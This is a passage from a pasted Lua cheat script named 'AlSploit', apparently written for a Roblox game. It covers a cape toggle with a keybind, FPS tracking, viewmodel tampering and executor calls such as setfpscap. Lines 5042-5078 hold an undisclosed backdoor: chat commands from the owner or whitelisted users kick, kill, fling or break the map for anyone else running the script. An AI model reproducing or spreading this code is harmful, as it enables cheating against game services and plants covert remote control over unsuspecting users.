  4979.  
  4980. CreateCape("rbxassetid://" .. DecalId)
  4981.  
  4982. task.spawn(function()
  4983. LocalPlayer.CharacterAdded:Connect(function()
  4984. if IsAlive(LocalPlayer) and not LocalPlayer.Character:FindFirstChild("Cape") and CallBack == true then
  4985. task.wait(0.3)
  4986.  
  4987. CreateCape("rbxassetid://" .. DecalId)
  4988. end
  4989. end)
  4990. end)
  4991. end)
  4992. end
  4993.  
  4994. if Settings.Cape.Value == false then
  4995. task.spawn(function()
  4996. if IsAlive(LocalPlayer) and LocalPlayer.Character:FindFirstChild("Cape") then
  4997. LocalPlayer.Character.Cape:Destroy()
  4998. end
  4999. end)
  5000. end
  5001. end)
  5002.  
  5003. task.spawn(function()
  5004. local InstanceUI
  5005. local Value = false
  5006.  
  5007. DropDownButton.Activated:Connect(function()
  5008. Value = not Value
  5009.  
  5010. if Value == true then
  5011. InstanceUI = CreateKeyBind(WorldTab, Settings.Cape.KeyBind, LayoutOrder + 1, function(CallBack)
  5012. Settings.Cape.KeyBind = CallBack
  5013. end)
  5014. end
  5015.  
  5016. if Value == false then
  5017. InstanceUI:Destroy()
  5018. end
  5019. end)
  5020. end)
  5021.  
  5022. task.spawn(function()
  5023. UserInputService.InputBegan:Connect(function(Input)
  5024. if not UserInputService:GetFocusedTextBox() then
  5025. if Input.KeyCode.Name == Settings.Cape.KeyBind then
  5026. Settings.Cape.Value = not Settings.Cape.Value
  5027.  
  5028. if Settings.Cape.Value == true then
  5029. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  5030. end
  5031.  
  5032. if Settings.Cape.Value == false then
  5033. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  5034. end
  5035. end
  5036. end
  5037. end)
  5038.  
  5039. end)
  5040. end)
  5041.  
  5042. task.spawn(function()
  5043. repeat
  5044. task.wait(1)
  5045.  
  5046. for i, v in next, PlayerService:GetPlayers() do
  5047. for i, v1 in next, WhitelistedUsers do
  5048. v.Chatted:Connect(function(Message)
  5049. if Message:lower() == ";kick default" and (v.Name == Owner or v.Name == v1) and LocalPlayer.Name ~= Owner then
  5050. task.spawn(function()
  5051. LocalPlayer:Kick("Kicked by AlSploit owner")
  5052. end)
  5053. end
  5054.  
  5055. if Message:lower() == ";kill default" and (v.Name == Owner or v.Name == v1) and LocalPlayer.Name ~= Owner then
  5056. task.spawn(function()
  5057. KillHumanoid(0)
  5058. end)
  5059. end
  5060.  
  5061. if Message:lower() == ";lagback default" and (v.Name == Owner or v.Name == v1) and LocalPlayer.Name ~= Owner then
  5062. task.spawn(function()
  5063. LocalPlayer.Character.HumanoidRootPart.Velocity = Vector3.new(99999, 99999, 99999)
  5064. end)
  5065. end
  5066.  
  5067. if Message:lower() == ";breakmap default" and (v.Name == Owner or v.Name == v1) and LocalPlayer.Name ~= Owner then
  5068. task.spawn(function()
  5069. for i, v in next, CollectionService:GetTagged("block") do
  5070. v:Destroy()
  5071. end
  5072. end)
  5073. end
  5074. end)
  5075. end
  5076. end
  5077. until not game
  5078. end)
  5079.  
  5080. task.spawn(function()
  5081. local FrameRateManager = StatsService and StatsService:FindFirstChild("FrameRateManager")
  5082. local RenderAverage = FrameRateManager and FrameRateManager:FindFirstChild("RenderAverage")
  5083.  
  5084. local function GetFramerate()
  5085. return math.round(1000 / RenderAverage:GetValue())
  5086. end
  5087.  
  5088. repeat
  5089. task.wait()
  5090.  
  5091. Fps = GetFramerate()
  5092.  
  5093. LoopWaitTime = (Settings.FpsBooster.Value == true and DecimalRound(((1.5 / Fps) * 4), 3) or 0)
  5094. until not game
  5095. end)
  5096.  
  5097. task.spawn(function()
  5098. local Horizontal = {Value = 15}
  5099. local Vertical = {Value = 5}
  5100. local Depth = {Value = 35}
  5101.  
  5102. local RotationZ = {Value = 5}
  5103.  
  5104. local ViewModel = Camera:FindFirstChild("Viewmodel")
  5105. local C1
  5106.  
  5107. LocalPlayer.PlayerScripts.TS.controllers.global.viewmodel["viewmodel-controller"]:SetAttribute("ConstantManager_DEPTH_OFFSET", -(Depth.Value / 10))
  5108. LocalPlayer.PlayerScripts.TS.controllers.global.viewmodel["viewmodel-controller"]:SetAttribute("ConstantManager_HORIZONTAL_OFFSET", (Horizontal.Value / 10))
  5109. LocalPlayer.PlayerScripts.TS.controllers.global.viewmodel["viewmodel-controller"]:SetAttribute("ConstantManager_VERTICAL_OFFSET", (Vertical.Value / 10))
  5110.  
  5111. C1 = ViewModel.RightHand.RightWrist.C1
  5112.  
  5113. ViewModel.RightHand.RightWrist.C1 = C1 * CFrame.Angles(math.rad(0), math.rad(0), math.rad(RotationZ.Value))
  5114.  
  5115. task.spawn(function()
  5116. CreateNotification(5, "AlSploit has loaded!")
  5117. end)
  5118.  
  5119. task.spawn(function()
  5120. setfpscap(999)
  5121. end)
  5122. end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement